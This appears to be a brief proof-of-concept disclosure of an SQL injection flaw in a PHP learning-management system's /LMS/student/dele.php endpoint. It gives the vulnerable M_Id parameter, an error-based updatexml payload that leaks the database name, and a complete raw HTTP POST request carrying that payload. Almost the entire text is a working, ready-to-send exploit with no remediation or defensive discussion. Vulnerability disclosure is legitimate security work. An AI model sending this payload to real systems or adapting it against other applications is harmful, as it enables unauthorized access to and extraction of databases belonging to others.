The program is built using the xmapp-php8.1 version
Vulnerability File: /LMS/student/dele.php
Vulnerability location: /LMS/student/dele.php, M_Id
[+] Payload: delete=&M_Id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> M_Id
POST /LMS/student/dele.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=7v8p4p3goshl3b4fkncu3bh9ui
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
delete=&M_Id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+